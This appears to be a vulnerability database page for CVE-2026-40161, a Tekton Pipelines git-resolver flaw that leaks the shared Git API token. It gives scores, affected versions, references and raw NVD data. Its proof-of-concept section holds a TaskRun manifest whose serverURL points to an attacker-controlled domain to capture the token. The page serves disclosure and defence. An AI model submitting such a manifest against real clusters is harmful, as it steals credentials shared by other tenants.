CVE-2026-40161

Description

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the Tekton Pipelines git resolver in API mode sends the system-configured Git API token to a user-controlled serverURL when the user omits the token parameter. A tenant with TaskRun or PipelineRun create permission can exfiltrate the shared API token (GitHub PAT, GitLab token, etc.) by pointing serverURL to an attacker-controlled endpoint. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.

CVSS Details

CVSS Score

7.7

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE

Tekton Pipelines >= 1.0.0, < 1.0.2

Tekton Pipelines >= 1.3.0, < 1.3.4

Tekton Pipelines >= 1.6.0, < 1.6.2

Tekton Pipelines >= 1.9.0, < 1.9.3

Tekton Pipelines >= 1.11.0, < 1.11.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
  name: malicious-taskrun
spec:
  taskRef:
    resolver: git
    params:
    - name: url
      value: https://github.com/tektoncd/pipeline.git
    - name: revision
      value: main
    # Malicious parameter: pointing to attacker's server
    - name: serverURL
      value: https://attacker-controlled-domain.com/leak
    # Omitting 'token' parameter triggers the leak of the system default token

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40161
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40161
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40161/
[4] VulDB https://vuldb.com/cve/CVE-2026-40161
[5] https://github.com/tektoncd/pipeline/issues/9608
[6] https://github.com/tektoncd/pipeline/issues/9609
[7] https://github.com/tektoncd/pipeline/security/advisories/GHSA-wjxp-xrpv-xpff

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40161", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:53.790", "lastModified": "2026-05-21T22:16:48.020", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the Tekton Pipelines git resolver in API mode sends the system-configured Git API token to a user-controlled serverURL when the user omits the token parameter. A tenant with TaskRun or PipelineRun create permission can exfiltrate the shared API token (GitHub PAT, GitLab token, etc.) by pointing serverURL to an attacker-controlled endpoint. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.0.0", "versionEndIncluding": "1.10.0", "matchCriteriaId": "4C365A15-24E6-468E-8A0F-27BA04AE4693"}]}]}], "references": [{"url": "https://github.com/tektoncd/pipeline/issues/9608", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/tektoncd/pipeline/issues/9609", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-wjxp-xrpv-xpff", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}